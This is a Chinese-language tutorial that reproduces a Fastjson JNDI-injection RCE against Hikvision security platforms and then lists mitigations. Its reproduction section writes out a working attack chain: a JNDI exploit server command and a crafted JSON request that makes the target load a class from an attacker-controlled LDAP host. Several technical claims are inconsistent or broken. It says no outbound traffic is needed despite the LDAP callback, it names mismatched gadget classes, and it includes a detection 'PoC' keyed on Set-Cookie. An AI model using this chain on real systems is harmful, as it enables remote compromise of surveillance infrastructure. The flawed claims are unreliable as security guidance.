海康威视Fastjson漏洞实战：手把手教你复现RCE攻击链（附修复方案）
海康威视Fastjson漏洞深度解析与防御实践
1. Fastjson漏洞背景与影响范围
Fastjson作为Java生态中广泛使用的JSON解析库，其安全漏洞已成为企业级应用的重要威胁源。2025年曝出的海康威视运行管理中心漏洞（CVE-2025-34067）因其CVSS 10.0的评分引发行业震动，该漏洞允许攻击者在未授权情况下实现远程代码执行（RCE），直接影响关键安防基础设施。
典型受影响系统包括：
- 海康威视运行管理中心（RMC）
- applyCT安防管理平台（原HikCentral）
- 综合安防管理平台iSecure Center
漏洞核心机理源于Fastjson的"autoType"特性，当系统使用1.2.80以下版本时，攻击者可通过精心构造的JSON数据包触发JNDI注入。与常规RCE漏洞不同，该漏洞具备两个显著特征：
- 无网络出站要求：即使目标服务器限制外联，攻击者仍可利用本地类加载链完成攻击
- 全版本通杀：从社区版到企业版多个产品线均受影响
// 典型攻击载荷结构 { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://恶意服务器/Exploit", "autoCommit": true }2. 漏洞复现与攻击链拆解
2.1 实验环境搭建
建议使用Docker快速构建测试环境：
docker pull vulhub/fastjson:1.2.24 docker run -d -p 8080:8080 vulhub/fastjson:1.2.24必要工具准备：
- Burp Suite Community（用于构造恶意请求）
- JNDI-Injection-Exploit（搭建恶意LDAP服务）
- Wireshark（流量分析）
2.2 分步攻击演示
启动LDAP服务：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/pwned" -A 攻击者IP构造恶意请求：
POST /center/api/session HTTP/1.1 Host: 目标系统 Content-Type: application/json { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://攻击者IP:1389/Exploit", "autoCommit":true } }结果验证： 在目标服务器上检查是否创建成功：
ls -la /tmp/pwned
2.3 技术原理图解
攻击流程可分为三个阶段：
| 阶段 | 行为 | 关键技术点 |
|---|---|---|
| 触发阶段 | 发送恶意JSON到漏洞接口 | Content-Type需为application/json |
| 利用阶段 | Fastjson解析触发JNDI查找 | 利用BasicDataSource类加载机制 |
| 执行阶段 | 从LDAP服务器加载恶意类 | 受限制的RMI协议可绕过部分防护 |
注意：实际攻击中常采用BCEL编码绕过字符限制，这是该漏洞利用的关键技巧之一
3. 企业级防御方案
3.1 紧急缓解措施
对于无法立即升级的系统，建议实施以下临时方案：
网络层控制：
- 在防火墙限制
/center/api/session接口的外网访问 - 监控异常LDAP出站流量（默认端口1389）
- 在防火墙限制
应用层防护：
location ~* ^/center/api/ { if ($http_content_type ~* "application/json") { return 403; } }运行时防护： 在JVM参数中添加：
-Dfastjson.parser.autoTypeAccept=cn.hikvision. -Dfastjson.parser.safeMode=true
3.2 根本解决方案
版本升级路径：
| 产品系列 | 安全版本 | 更新方式 |
|---|---|---|
| RMC | V3.0.5及以上 | 官网补丁包 |
| iSecure Center | V1.5.0 | 完整安装包替换 |
| applyCT | 2025Q3版本 | 在线升级 |
升级后必须验证的配置项：
- 检查fastjson-1.2.83.jar的MD5值
- 确认JVM参数包含
-Dfastjson.parser.safeMode=true - 测试历史API接口的兼容性
3.3 深度防御体系
构建多层次的防护策略：
静态防护：
- 在CI/CD流程中加入依赖库扫描
# OWASP Dependency-Check示例 dependency-check.sh --project "MyApp" --scan ./lib动态防护：
- 部署RASP（运行时应用自我保护）方案
- 关键系统部署网络微隔离
监测响应：
/* 典型日志监控SQL */ SELECT * FROM web_logs WHERE request_uri LIKE '%/api/session%' AND content_type = 'application/json' AND request_size > 1024;
4. 漏洞管理与最佳实践
4.1 漏洞扫描方案
推荐的工具组合：
基础扫描：
- Nessus（插件ID 156256）
- OpenVAS（配置Fastjson检测策略）
高级验证：
# 简易PoC验证脚本示例 import requests headers = {'Content-Type': 'application/json'} data = '{"test":{"@type":"java.net.URL","val":"http://dnslog.cn"}}' response = requests.post(target_url, headers=headers, data=data) if "Set-Cookie" in response.headers: print("[!] 可能存在漏洞")
4.2 安全开发规范
强制编码要求：
- 禁止使用
JSON.parseObject()方法 - 必须显式配置ParserConfig.getGlobalInstance().setSafeMode(true)
- 所有JSON接口必须实现输入过滤
// 安全使用示例 import com.alibaba.fastjson.parser.ParserConfig; public class SafeJsonParser { static { ParserConfig.getGlobalInstance().setSafeMode(true); } public static Object parse(String json) { return JSON.parse(json); // 使用安全模式 } }4.3 应急响应流程
建立标准化的处置流程：
识别阶段：
- 部署网络流量分析系统检测异常JSON请求
- 监控服务器上可疑的Java进程创建行为
遏制阶段：
- 立即下线受影响系统
- 保留完整的攻击日志和内存快照
根除阶段：
- 使用官方工具检查系统完整性
# 海康专用检测工具 ./hik_checker --fastjson --deep-scan恢复阶段：
- 优先恢复核心业务系统
- 实施72小时强化监控
5. 行业影响与演进趋势
该漏洞暴露出物联网设备供应链安全的深层问题。从技术演进看，防御策略正在向三个方向发展：
- 硬件级防护：新一代安防设备开始集成TPM芯片，实现固件签名验证
- 零信任架构：设备间通信强制双向认证，取代简单的IP白名单机制
- AI异常检测：通过行为分析识别异常API调用模式
在最近的实际案例中，某大型园区通过以下组合方案成功阻断攻击：
- 在API网关部署自定义WAF规则
- 对所有管理接口实施双因素认证
- 将Fastjson替换为Gson解析库
企业安全团队应当建立组件资产清单，定期审查第三方库的使用情况。对于关键系统，建议每季度进行红队演练，验证防御体系的有效性